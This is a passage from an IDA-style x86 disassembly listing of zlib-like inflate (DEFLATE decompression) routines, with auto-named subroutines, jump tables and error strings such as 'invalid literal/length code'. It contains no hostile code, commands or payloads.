eax, [ebp+var_C] mov [edx+20h], eax mov ecx, [ebp+arg_0] mov edx, [ebp+var_14] mov [ecx+1Ch], edx mov eax, [ebp+arg_4] mov ecx, [ebp+var_1C] mov [eax+4], ecx mov edx, [ebp+arg_4] mov eax, [ebp+Src] sub eax, [edx] mov ecx, [ebp+arg_4] mov edx, [ecx+8] add edx, eax mov eax, [ebp+arg_4] mov [eax+8], edx mov ecx, [ebp+arg_4] mov edx, [ebp+Src] mov [ecx], edx mov eax, [ebp+arg_0] mov ecx, [ebp+Dst] mov [eax+34h], ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_4C7C50 add esp, 0Ch jmp loc_4C6261 ; --------------------------------------------------------------------------- loc_4C5C1F: ; CODE XREF: sub_4C4F0F+CB3j mov edx, [ebp+var_1C] sub edx, 1 mov [ebp+var_1C], edx mov eax, [ebp+Src] xor ecx, ecx mov cl, [eax] mov edx, ecx mov ecx, [ebp+var_14] shl edx, cl mov eax, [ebp+var_C] or eax, edx mov [ebp+var_C], eax mov ecx, [ebp+Src] add ecx, 1 mov [ebp+Src], ecx mov edx, [ebp+var_14] add edx, 8 mov [ebp+var_14], edx jmp loc_4C5BA6 ; --------------------------------------------------------------------------- loc_4C5C55: ; CODE XREF: sub_4C4F0F+CA0j mov eax, [ebp+var_C] mov ecx, [ebp+Size] shr eax, cl mov [ebp+var_C], eax mov ecx, [ebp+var_14] sub ecx, [ebp+Size] mov [ebp+var_14], ecx mov edx, [ebp+var_38] mov eax, [ebp+var_C] and eax, dword_4EF200[edx*4] mov ecx, [ebp+var_3C] add ecx, eax mov [ebp+var_3C], ecx mov edx, [ebp+var_C] mov ecx, [ebp+var_38] shr edx, cl mov [ebp+var_C], edx mov eax, [ebp+var_14] sub eax, [ebp+var_38] mov [ebp+var_14], eax mov ecx, [ebp+arg_0] mov edx, [ecx+8] mov [ebp+var_38], edx mov eax, [ebp+arg_0] mov ecx, [eax+4] mov [ebp+Size], ecx mov edx, [ebp+var_38] add edx, [ebp+var_3C] mov eax, [ebp+Size] and eax, 1Fh mov ecx, [ebp+Size] shr ecx, 5 and ecx, 1Fh lea eax, [eax+ecx+102h] cmp edx, eax ja short loc_4C5CD8 cmp [ebp+var_30], 10h jnz loc_4C5D64 cmp [ebp+var_38], 1 jnb loc_4C5D64 loc_4C5CD8: ; CODE XREF: sub_4C4F0F+DB3j mov ecx, [ebp+arg_0] mov edx, [ecx+0Ch] push edx mov eax, [ebp+arg_4] mov ecx, [eax+28h] push ecx mov edx, [ebp+arg_4] call dword ptr [edx+24h] add esp, 8 mov eax, [ebp+arg_0] mov dword ptr [eax], 9 mov ecx, [ebp+arg_4] mov dword ptr [ecx+18h], offset aInvalidBitLeng ; "invalid bit length repeat" mov [ebp+arg_8], 0FFFFFFFDh mov edx, [ebp+arg_0] mov eax, [ebp+var_C] mov [edx+20h], eax mov ecx, [ebp+arg_0] mov edx, [ebp+var_14] mov [ecx+1Ch], edx mov eax, [ebp+arg_4] mov ecx, [ebp+var_1C] mov [eax+4], ecx mov edx, [ebp+arg_4] mov eax, [ebp+Src] sub eax, [edx] mov ecx, [ebp+arg_4] mov edx, [ecx+8] add edx, eax mov eax, [ebp+arg_4] mov [eax+8], edx mov ecx, [ebp+arg_4] mov edx, [ebp+Src] mov [ecx], edx mov eax, [ebp+arg_0] mov ecx, [ebp+Dst] mov [eax+34h], ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_4C7C50 add esp, 0Ch jmp loc_4C6261 ; --------------------------------------------------------------------------- loc_4C5D64: ; CODE XREF: sub_4C4F0F+DB9j ; sub_4C4F0F+DC3j cmp [ebp+var_30], 10h jnz short loc_4C5D7C mov edx, [ebp+arg_0] mov eax, [edx+0Ch] mov ecx, [ebp+var_38] mov edx, [eax+ecx*4-4] mov [ebp+var_74], edx jmp short loc_4C5D83 ; --------------------------------------------------------------------------- loc_4C5D7C: ; CODE XREF: sub_4C4F0F+E59j mov [ebp+var_74], 0 loc_4C5D83: ; CODE XREF: sub_4C4F0F+E6Bj mov eax, [ebp+var_74] mov [ebp+var_30], eax loc_4C5D89: ; CODE XREF: sub_4C4F0F+E9Fj mov ecx, [ebp+arg_0] mov edx, [ecx+0Ch] mov eax, [ebp+var_38] mov ecx, [ebp+var_30] mov [edx+eax*4], ecx mov edx, [ebp+var_38] add edx, 1 mov [ebp+var_38], edx mov eax, [ebp+var_3C] sub eax, 1 mov [ebp+var_3C], eax cmp [ebp+var_3C], 0 jnz short loc_4C5D89 mov ecx, [ebp+arg_0] mov edx, [ebp+var_38] mov [ecx+8], edx loc_4C5DB9: ; CODE XREF: sub_4C4F0F+C62j jmp loc_4C5A2B ; --------------------------------------------------------------------------- loc_4C5DBE: ; CODE XREF: sub_4C4F0F+B41j mov eax, [ebp+arg_0] mov dword ptr [eax+14h], 0 mov [ebp+var_4C], 9 mov [ebp+var_40], 6 mov ecx, [ebp+arg_0] mov edx, [ecx+4] mov [ebp+Size], edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] mov edx, [ecx+24h] push edx lea eax, [ebp+var_50] push eax lea ecx, [ebp+var_48] push ecx lea edx, [ebp+var_40] push edx lea eax, [ebp+var_4C] push eax mov ecx, [ebp+arg_0] mov edx, [ecx+0Ch] push edx mov eax, [ebp+Size] shr eax, 5 and eax, 1Fh add eax, 1 push eax mov ecx, [ebp+Size] and ecx, 1Fh add ecx, 101h push ecx call sub_4C7A96 add esp, 24h mov [ebp+Size], eax cmp [ebp+Size], 0 jz loc_4C5EB7 cmp [ebp+Size], 0FFFFFFFDh jnz short loc_4C5E56 mov edx, [ebp+arg_0] mov eax, [edx+0Ch] push eax mov ecx, [ebp+arg_4] mov edx, [ecx+28h] push edx mov eax, [ebp+arg_4] call dword ptr [eax+24h] add esp, 8 mov ecx, [ebp+arg_0] mov dword ptr [ecx], 9 loc_4C5E56: ; CODE XREF: sub_4C4F0F+F25j mov edx, [ebp+Size] mov [ebp+arg_8], edx mov eax, [ebp+arg_0] mov ecx, [ebp+var_C] mov [eax+20h], ecx mov edx, [ebp+arg_0] mov eax, [ebp+var_14] mov [edx+1Ch], eax mov ecx, [ebp+arg_4] mov edx, [ebp+var_1C] mov [ecx+4], edx mov eax, [ebp+arg_4] mov ecx, [ebp+Src] sub ecx, [eax] mov edx, [ebp+arg_4] mov eax, [edx+8] add eax, ecx mov ecx, [ebp+arg_4] mov [ecx+8], eax mov edx, [ebp+arg_4] mov eax, [ebp+Src] mov [edx], eax mov ecx, [ebp+arg_0] mov edx, [ebp+Dst] mov [ecx+34h], edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call sub_4C7C50 add esp, 0Ch jmp loc_4C6261 ; --------------------------------------------------------------------------- loc_4C5EB7: ; CODE XREF: sub_4C4F0F+F1Bj mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_50] push ecx mov edx, [ebp+var_48] push edx mov eax, [ebp+var_40] push eax mov ecx, [ebp+var_4C] push ecx call sub_4C6350 add esp, 14h mov [ebp+var_44], eax cmp [ebp+var_44], 0 jnz short loc_4C5F3E mov [ebp+arg_8], 0FFFFFFFCh mov edx, [ebp+arg_0] mov eax, [ebp+var_C] mov [edx+20h], eax mov ecx, [ebp+arg_0] mov edx, [ebp+var_14] mov [ecx+1Ch], edx mov eax, [ebp+arg_4] mov ecx, [ebp+var_1C] mov [eax+4], ecx mov edx, [ebp+arg_4] mov eax, [ebp+Src] sub eax, [edx] mov ecx, [ebp+arg_4] mov edx, [ecx+8] add edx, eax mov eax, [ebp+arg_4] mov [eax+8], edx mov ecx, [ebp+arg_4] mov edx, [ebp+Src] mov [ecx], edx mov eax, [ebp+arg_0] mov ecx, [ebp+Dst] mov [eax+34h], ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_4C7C50 add esp, 0Ch jmp loc_4C6261 ; --------------------------------------------------------------------------- loc_4C5F3E: ; CODE XREF: sub_4C4F0F+FCBj mov edx, [ebp+arg_0] mov eax, [ebp+var_44] mov [edx+4], eax mov ecx, [ebp+arg_0] mov edx, [ecx+0Ch] push edx mov eax, [ebp+arg_4] mov ecx, [eax+28h] push ecx mov edx, [ebp+arg_4] call dword ptr [edx+24h] add esp, 8 mov eax, [ebp+arg_0] mov dword ptr [eax], 6 loc_4C5F67: ; CODE XREF: sub_4C4F0F+82j ; DATA XREF: .text:004C627Do mov ecx, [ebp+arg_0] mov edx, [ebp+var_C] mov [ecx+20h], edx mov eax, [ebp+arg_0] mov ecx, [ebp+var_14] mov [eax+1Ch], ecx mov edx, [ebp+arg_4] mov eax, [ebp+var_1C] mov [edx+4], eax mov ecx, [ebp+arg_4] mov edx, [ebp+Src] sub edx, [ecx] mov eax, [ebp+arg_4] mov ecx, [eax+8] add ecx, edx mov edx, [ebp+arg_4] mov [edx+8], ecx mov eax, [ebp+arg_4] mov ecx, [ebp+Src] mov [eax], ecx mov edx, [ebp+arg_0] mov eax, [ebp+Dst] mov [edx+34h], eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call sub_4C63A5 add esp, 0Ch mov [ebp+arg_8], eax cmp [ebp+arg_8], 1 jz short loc_4C5FDF mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call sub_4C7C50 add esp, 0Ch jmp loc_4C6261 ; --------------------------------------------------------------------------- loc_4C5FDF: ; CODE XREF: sub_4C4F0F+10B5j mov [ebp+arg_8], 0 mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] mov eax, [edx+4] push eax call sub_4C70F9 add esp, 8 mov ecx, [ebp+arg_4] mov edx, [ecx] mov [ebp+Src], edx mov eax, [ebp+arg_4] mov ecx, [eax+4] mov [ebp+var_1C], ecx mov edx, [ebp+arg_0] mov eax, [edx+20h] mov [ebp+var_C], eax mov ecx, [ebp+arg_0] mov edx, [ecx+1Ch] mov [ebp+var_14], edx mov eax, [ebp+arg_0] mov ecx, [eax+34h] mov [ebp+Dst], ecx mov edx, [ebp+arg_0] mov eax, [ebp+Dst] cmp eax, [edx+30h] jnb short loc_4C6041 mov ecx, [ebp+arg_0] mov edx, [ecx+30h] sub edx, [ebp+Dst] sub edx, 1 mov [ebp+var_78], edx jmp short loc_4C604D ; --------------------------------------------------------------------------- loc_4C6041: ; CODE XREF: sub_4C4F0F+111Fj mov eax, [ebp+arg_0] mov ecx, [eax+2Ch] sub ecx, [ebp+Dst] mov [ebp+var_78], ecx loc_4C604D: ; CODE XREF: sub_4C4F0F+1130j mov edx, [ebp+var_78] mov [ebp+var_18], edx mov eax, [ebp+arg_0] cmp dword ptr [eax+18h], 0 jnz short loc_4C606A mov ecx, [ebp+arg_0] mov dword ptr [ecx], 0 jmp loc_4C625C ; --------------------------------------------------------------------------- loc_4C606A: ; CODE XREF: sub_4C4F0F+114Bj mov edx, [ebp+arg_0] mov dword ptr [edx], 7 loc_4C6073: ; CODE XREF: sub_4C4F0F+82j ; DATA XREF: .text:004C6281o mov eax, [ebp+arg_0] mov ecx, [ebp+Dst] mov [eax+34h], ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_4C7C50 add esp, 0Ch mov [ebp+arg_8], eax mov edx, [ebp+arg_0] mov eax, [edx+34h] mov [ebp+Dst], eax mov ecx, [ebp+arg_0] mov edx, [ebp+Dst] cmp edx, [ecx+30h] jnb short loc_4C60B8 mov eax, [ebp+arg_0] mov ecx, [eax+30h] sub ecx, [ebp+Dst] sub ecx, 1 mov [ebp+var_7C], ecx jmp short loc_4C60C4 ; --------------------------------------------------------------------------- loc_4C60B8: ; CODE XREF: sub_4C4F0F+1196j mov edx, [ebp+arg_0] mov eax, [edx+2Ch] sub eax, [ebp+Dst] mov [ebp+var_7C], eax loc_4C60C4: ; CODE XREF: sub_4C4F0F+11A7j mov ecx, [ebp+var_7C] mov [ebp+var_18], ecx mov edx, [ebp+arg_0] mov eax, [ebp+arg_0] mov ecx, [edx+30h] cmp ecx, [eax+34h] jz short loc_4C6133 mov edx, [ebp+arg_0] mov eax, [ebp+var_C] mov [edx+20h], eax mov ecx, [ebp+arg_0] mov edx, [ebp+var_14] mov [ecx+1Ch], edx mov eax, [ebp+arg_4] mov ecx, [ebp+var_1C] mov [eax+4], ecx mov edx, [ebp+arg_4] mov eax, [ebp+Src] sub eax, [edx] mov ecx, [ebp+arg_4] mov edx, [ecx+8] add edx, eax mov eax, [ebp+arg_4] mov [eax+8], edx mov ecx, [ebp+arg_4] mov edx, [ebp+Src] mov [ecx], edx mov eax, [ebp+arg_0] mov ecx, [ebp+Dst] mov [eax+34h], ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_4C7C50 add esp, 0Ch jmp loc_4C6261 ; --------------------------------------------------------------------------- loc_4C6133: ; CODE XREF: sub_4C4F0F+11C7j mov edx, [ebp+arg_0] mov dword ptr [edx], 8 loc_4C613C: ; CODE XREF: sub_4C4F0F+82j ; DATA XREF: .text:004C6285o mov [ebp+arg_8], 1 mov eax, [ebp+arg_0] mov ecx, [ebp+var_C] mov [eax+20h], ecx mov edx, [ebp+arg_0] mov eax, [ebp+var_14] mov [edx+1Ch], eax mov ecx, [ebp+arg_4] mov edx, [ebp+var_1C] mov [ecx+4], edx mov eax, [ebp+arg_4] mov ecx, [ebp+Src] sub ecx, [eax] mov edx, [ebp+arg_4] mov eax, [edx+8] add eax, ecx mov ecx, [ebp+arg_4] mov [ecx+8], eax mov edx, [ebp+arg_4] mov eax, [ebp+Src] mov [edx], eax mov ecx, [ebp+arg_0] mov edx, [ebp+Dst] mov [ecx+34h], edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call sub_4C7C50 add esp, 0Ch jmp loc_4C6261 ; --------------------------------------------------------------------------- loc_4C619E: ; CODE XREF: sub_4C4F0F+82j ; DATA XREF: .text:004C6289o mov [ebp+arg_8], 0FFFFFFFDh mov eax, [ebp+arg_0] mov ecx, [ebp+var_C] mov [eax+20h], ecx mov edx, [ebp+arg_0] mov eax, [ebp+var_14] mov [edx+1Ch], eax mov ecx, [ebp+arg_4] mov edx, [ebp+var_1C] mov [ecx+4], edx mov eax, [ebp+arg_4] mov ecx, [ebp+Src] sub ecx, [eax] mov edx, [ebp+arg_4] mov eax, [edx+8] add eax, ecx mov ecx, [ebp+arg_4] mov [ecx+8], eax mov edx, [ebp+arg_4] mov eax, [ebp+Src] mov [edx], eax mov ecx, [ebp+arg_0] mov edx, [ebp+Dst] mov [ecx+34h], edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call sub_4C7C50 add esp, 0Ch jmp short loc_4C6261 ; --------------------------------------------------------------------------- loc_4C61FD: ; CODE XREF: sub_4C4F0F+79j mov [ebp+arg_8], 0FFFFFFFEh mov eax, [ebp+arg_0] mov ecx, [ebp+var_C] mov [eax+20h], ecx mov edx, [ebp+arg_0] mov eax, [ebp+var_14] mov [edx+1Ch], eax mov ecx, [ebp+arg_4] mov edx, [ebp+var_1C] mov [ecx+4], edx mov eax, [ebp+arg_4] mov ecx, [ebp+Src] sub ecx, [eax] mov edx, [ebp+arg_4] mov eax, [edx+8] add eax, ecx mov ecx, [ebp+arg_4] mov [ecx+8], eax mov edx, [ebp+arg_4] mov eax, [ebp+Src] mov [edx], eax mov ecx, [ebp+arg_0] mov edx, [ebp+Dst] mov [ecx+34h], edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call sub_4C7C50 add esp, 0Ch jmp short loc_4C6261 ; --------------------------------------------------------------------------- loc_4C625C: ; CODE XREF: sub_4C4F0F:loc_4C521Ej ; sub_4C4F0F+492j ... jmp loc_4C4F6F ; --------------------------------------------------------------------------- loc_4C6261: ; CODE XREF: sub_4C4F0F+67j ; sub_4C4F0F+F8j ... mov esp, ebp pop ebp retn sub_4C4F0F endp ; --------------------------------------------------------------------------- off_4C6265 dd offset loc_4C4F98 ; DATA XREF: sub_4C4F0F+82r dd offset loc_4C5223 dd offset loc_4C53A6 dd offset loc_4C560B dd offset loc_4C581A dd offset loc_4C5A2B dd offset loc_4C5F67 dd offset loc_4C6073 dd offset loc_4C613C dd offset loc_4C619E off_4C628D dd offset loc_4C5071 ; DATA XREF: sub_4C4F0F+15Br dd offset loc_4C50AE dd offset loc_4C5177 dd offset loc_4C5197 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4C629D proc near ; CODE XREF: sub_4C098B+3Cp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push 0 mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_4C4D60 add esp, 0Ch mov edx, [ebp+arg_0] mov eax, [edx+28h] push eax mov ecx, [ebp+arg_4] mov edx, [ecx+28h] push edx mov eax, [ebp+arg_4] call dword ptr [eax+24h] add esp, 8 mov ecx, [ebp+arg_0] mov edx, [ecx+24h] push edx mov eax, [ebp+arg_4] mov ecx, [eax+28h] push ecx mov edx, [ebp+arg_4] call dword ptr [edx+24h] add esp, 8 mov eax, [ebp+arg_0] push eax mov ecx, [ebp+arg_4] mov edx, [ecx+28h] push edx mov eax, [ebp+arg_4] call dword ptr [eax+24h] add esp, 8 xor eax, eax pop ebp retn sub_4C629D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_4C62F8(int,void *Src,size_t Size) sub_4C62F8 proc near ; CODE XREF: .text:004C12EAp arg_0 = dword ptr 8 Src = dword ptr 0Ch Size = dword ptr 10h push ebp mov ebp, esp mov eax, [ebp+Size] push eax ; Size mov ecx, [ebp+Src] push ecx ; Src mov edx, [ebp+arg_0] mov eax, [edx+28h] push eax ; Dst call _memcpy_1 add esp, 0Ch mov ecx, [ebp+arg_0] mov edx, [ecx+28h] add edx, [ebp+Size] mov eax, [ebp+arg_0] mov [eax+34h], edx mov ecx, [ebp+arg_0] mov edx, [ebp+arg_0] mov eax, [edx+34h] mov [ecx+30h], eax pop ebp retn sub_4C62F8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4C632F proc near ; CODE XREF: .text:004C1485p arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] xor ecx, ecx cmp dword ptr [eax], 1 setz cl mov eax, ecx pop ebp retn sub_4C632F endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4C6350 proc near ; CODE XREF: sub_4C4F0F+1CFp ; sub_4C4F0F+FBCp var_4 = dword ptr -4 arg_0 = byte ptr 8 arg_4 = byte ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx push 1Ch push 1 mov eax, [ebp+arg_10] mov ecx, [eax+28h] push ecx mov edx, [ebp+arg_10] call dword ptr [edx+20h] add esp, 0Ch mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_4C639E mov eax, [ebp+var_4] mov dword ptr [eax], 0 mov ecx, [ebp+var_4] mov dl, [ebp+arg_0] mov [ecx+10h], dl mov eax, [ebp+var_4] mov cl, [ebp+arg_4] mov [eax+11h], cl mov edx, [ebp+var_4] mov eax, [ebp+arg_8] mov [edx+14h], eax mov ecx, [ebp+var_4] mov edx, [ebp+arg_C] mov [ecx+18h], edx loc_4C639E: ; CODE XREF: sub_4C6350+1Fj mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_4C6350 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4C63A5 proc near ; CODE XREF: sub_4C4F0F+10A6p var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 54h mov eax, [ebp+arg_0] mov ecx, [eax+4] mov [ebp+var_10], ecx mov edx, [ebp+arg_4] mov eax, [edx] mov [ebp+var_4], eax mov ecx, [ebp+arg_4] mov edx, [ecx+4] mov [ebp+var_2C], edx mov eax, [ebp+arg_0] mov ecx, [eax+20h] mov [ebp+var_C], ecx mov edx, [ebp+arg_0] mov eax, [edx+1Ch] mov [ebp+var_24], eax mov ecx, [ebp+arg_0] mov edx, [ecx+34h] mov [ebp+var_8], edx mov eax, [ebp+arg_0] mov ecx, [ebp+var_8] cmp ecx, [eax+30h] jnb short loc_4C63FC mov edx, [ebp+arg_0] mov eax, [edx+30h] sub eax, [ebp+var_8] sub eax, 1 mov [ebp+var_30], eax jmp short loc_4C6408 ; --------------------------------------------------------------------------- loc_4C63FC: ; CODE XREF: sub_4C63A5+44j mov ecx, [ebp+arg_0] mov edx, [ecx+2Ch] sub edx, [ebp+var_8] mov [ebp+var_30], edx loc_4C6408: ; CODE XREF: sub_4C63A5+55j mov eax, [ebp+var_30] mov [ebp+var_28], eax loc_4C640E: ; CODE XREF: sub_4C63A5:loc_4C70C8j mov ecx, 1 test ecx, ecx jz loc_4C70CD mov edx, [ebp+var_10] mov eax, [edx] mov [ebp+var_34], eax cmp [ebp+var_34], 9 ja loc_4C7069 mov ecx, [ebp+var_34] jmp ds:off_4C70D1[ecx*4] loc_4C6437: ; DATA XREF: .text:off_4C70D1o cmp [ebp+var_28], 102h jb loc_4C653D cmp [ebp+var_2C], 0Ah jb loc_4C653D mov edx, [ebp+arg_0] mov eax, [ebp+var_C] mov [edx+20h], eax mov ecx, [ebp+arg_0] mov edx, [ebp+var_24] mov [ecx+1Ch], edx mov eax, [ebp+arg_4] mov ecx, [ebp+var_2C] mov [eax+4], ecx mov edx, [ebp+arg_4] mov eax, [ebp+var_4] sub eax, [edx] mov ecx, [ebp+arg_4] mov edx, [ecx+8] add edx, eax mov eax, [ebp+arg_4] mov [eax+8], edx mov ecx, [ebp+arg_4] mov edx, [ebp+var_4] mov [ecx], edx mov eax, [ebp+arg_0] mov ecx, [ebp+var_8] mov [eax+34h], ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_10] mov edx, [ecx+18h] push edx mov eax, [ebp+var_10] mov ecx, [eax+14h] push ecx mov edx, [ebp+var_10] xor eax, eax mov al, [edx+11h] push eax mov ecx, [ebp+var_10] xor edx, edx mov dl, [ecx+10h] push edx call sub_4C7E30 add esp, 18h mov [ebp+arg_8], eax mov eax, [ebp+arg_4] mov ecx, [eax] mov [ebp+var_4], ecx mov edx, [ebp+arg_4] mov eax, [edx+4] mov [ebp+var_2C], eax mov ecx, [ebp+arg_0] mov edx, [ecx+20h] mov [ebp+var_C], edx mov eax, [ebp+arg_0] mov ecx, [eax+1Ch] mov [ebp+var_24], ecx mov edx, [ebp+arg_0] mov eax, [edx+34h] mov [ebp+var_8], eax mov ecx, [ebp+arg_0] mov edx, [ebp+var_8] cmp edx, [ecx+30h] jnb short loc_4C650B mov eax, [ebp+arg_0] mov ecx, [eax+30h] sub ecx, [ebp+var_8] sub ecx, 1 mov [ebp+var_38], ecx jmp short loc_4C6517 ; --------------------------------------------------------------------------- loc_4C650B: ; CODE XREF: sub_4C63A5+153j mov edx, [ebp+arg_0] mov eax, [edx+2Ch] sub eax, [ebp+var_8] mov [ebp+var_38], eax loc_4C6517: ; CODE XREF: sub_4C63A5+164j mov ecx, [ebp+var_38] mov [ebp+var_28], ecx cmp [ebp+arg_8], 0 jz short loc_4C653D mov edx, [ebp+arg_8] sub edx, 1 neg edx sbb edx, edx and edx, 2 add edx, 7 mov eax, [ebp+var_10] mov [eax], edx jmp loc_4C70C8 ; --------------------------------------------------------------------------- loc_4C653D: ; CODE XREF: sub_4C63A5+99j ; sub_4C63A5+A3j ... mov ecx, [ebp+var_10] xor edx, edx mov dl, [ecx+10h] mov eax, [ebp+var_10] mov [eax+0Ch], edx mov ecx, [ebp+var_10] mov edx, [ebp+var_10] mov eax, [edx+14h] mov [ecx+8], eax mov ecx, [ebp+var_10] mov dword ptr [ecx], 1 loc_4C6560: ; CODE XREF: sub_4C63A5+8Bj ; DATA XREF: .text:004C70D5o mov edx, [ebp+var_10] mov eax, [edx+0Ch] mov [ebp+var_20], eax loc_4C6569: ; CODE XREF: sub_4C63A5+26Bj mov ecx, [ebp+var_24] cmp ecx, [ebp+var_20] jnb loc_4C6615 cmp [ebp+var_2C], 0 jz short loc_4C6584 mov [ebp+arg_8], 0 jmp short loc_4C65DF ; --------------------------------------------------------------------------- loc_4C6584: ; CODE XREF: sub_4C63A5+1D4j mov edx, [ebp+arg_0] mov eax, [ebp+var_C] mov [edx+20h], eax mov ecx, [ebp+arg_0] mov edx, [ebp+var_24] mov [ecx+1Ch], edx mov eax, [ebp+arg_4] mov ecx, [ebp+var_2C] mov [eax+4], ecx mov edx, [ebp+arg_4] mov eax, [ebp+var_4] sub eax, [edx] mov ecx, [ebp+arg_4] mov edx, [ecx+8] add edx, eax mov eax, [ebp+arg_4] mov [eax+8], edx mov ecx, [ebp+arg_4] mov edx, [ebp+var_4] mov [ecx], edx mov eax, [ebp+arg_0] mov ecx, [ebp+var_8] mov [eax+34h], ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_4C7C50 add esp, 0Ch jmp loc_4C70CD ; --------------------------------------------------------------------------- loc_4C65DF: ; CODE XREF: sub_4C63A5+1DDj mov edx, [ebp+var_2C] sub edx, 1 mov [ebp+var_2C], edx mov eax, [ebp+var_4] xor ecx, ecx mov cl, [eax] mov edx, ecx mov ecx, [ebp+var_24] shl edx, cl mov eax, [ebp+var_C] or eax, edx mov [ebp+var_C], eax mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx mov edx, [ebp+var_24] add edx, 8 mov [ebp+var_24], edx jmp loc_4C6569 ; --------------------------------------------------------------------------- loc_4C6615: ; CODE XREF: sub_4C63A5+1CAj mov eax, [ebp+var_20] mov ecx, [ebp+var_C] and ecx, dword_4EF200[eax*4] mov edx, [ebp+var_10] mov eax, [edx+8] lea ecx, [eax+ecx*8] mov [ebp+var_14], ecx mov edx, [ebp+var_14] xor eax, eax mov al, [edx+1] mov ecx, eax mov edx, [ebp+var_C] shr edx, cl mov [ebp+var_C], edx mov eax, [ebp+var_14] xor ecx, ecx mov cl, [eax+1] mov edx, [ebp+var_24] sub edx, ecx mov [ebp+var_24], edx mov eax, [ebp+var_14] xor ecx, ecx mov cl, [eax] mov [ebp+var_18], ecx cmp [ebp+var_18], 0 jnz short loc_4C667A mov edx, [ebp+var_10] mov eax, [ebp+var_14] mov ecx, [eax+4] mov [edx+8], ecx mov edx, [ebp+var_10] mov dword ptr [edx], 6 jmp loc_4C70C8 ; --------------------------------------------------------------------------- loc_4C667A: ; CODE XREF: sub_4C63A5+2B9j mov eax, [ebp+var_18] and eax, 10h test eax, eax jz short loc_4C66AA mov ecx, [ebp+var_18] and ecx, 0Fh mov edx, [ebp+var_10] mov [edx+8], ecx mov eax, [ebp+var_10] mov ecx, [ebp+var_14] mov edx, [ecx+4] mov [eax+4], edx mov eax, [ebp+var_10] mov dword ptr [eax], 2 jmp loc_4C70C8 ; --------------------------------------------------------------------------- loc_4C66AA: ; CODE XREF: sub_4C63A5+2DDj mov ecx, [ebp+var_18] and ecx, 40h test ecx, ecx jnz short loc_4C66D4 mov edx, [ebp+var_10] mov eax, [ebp+var_18] mov [edx+0Ch], eax mov ecx, [ebp+var_14] mov edx, [ecx+4] mov eax, [ebp+var_14] lea ecx, [eax+edx*8] mov edx, [ebp+var_10] mov [edx+8], ecx jmp loc_4C70C8 ; --------------------------------------------------------------------------- loc_4C66D4: ; CODE XREF: sub_4C63A5+30Dj mov eax, [ebp+var_18] and eax, 20h test eax, eax jz short loc_4C66EC mov ecx, [ebp+var_10] mov dword ptr [ecx], 7 jmp loc_4C70C8 ; --------------------------------------------------------------------------- loc_4C66EC: ; CODE XREF: sub_4C63A5+337j mov edx, [ebp+var_10] mov dword ptr [edx], 9 mov eax, [ebp+arg_4] mov dword ptr [eax+18h], offset aInvalidLiteral ; "invalid literal/length code" mov [ebp+arg_8], 0FFFFFFFDh mov ecx, [ebp+arg_0] mov edx, [ebp+var_C] mov [ecx+20h], edx mov eax, [ebp+arg_0] mov ecx, [ebp+var_24] mov [eax+1Ch], ecx mov edx, [ebp+arg_4] mov eax, [ebp+var_2C] mov [edx+4], eax mov ecx, [ebp+arg_4] mov edx, [ebp+var_4] sub edx, [ecx] mov eax, [ebp+arg_4] mov ecx, [eax+8] add ecx, edx mov edx, [ebp+arg_4] mov [edx+8], ecx mov eax, [ebp+arg_4] mov ecx, [ebp+var_4] mov [eax], ecx mov edx, [ebp+arg_0] mov eax, [ebp+var_8] mov [edx+34h], eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov 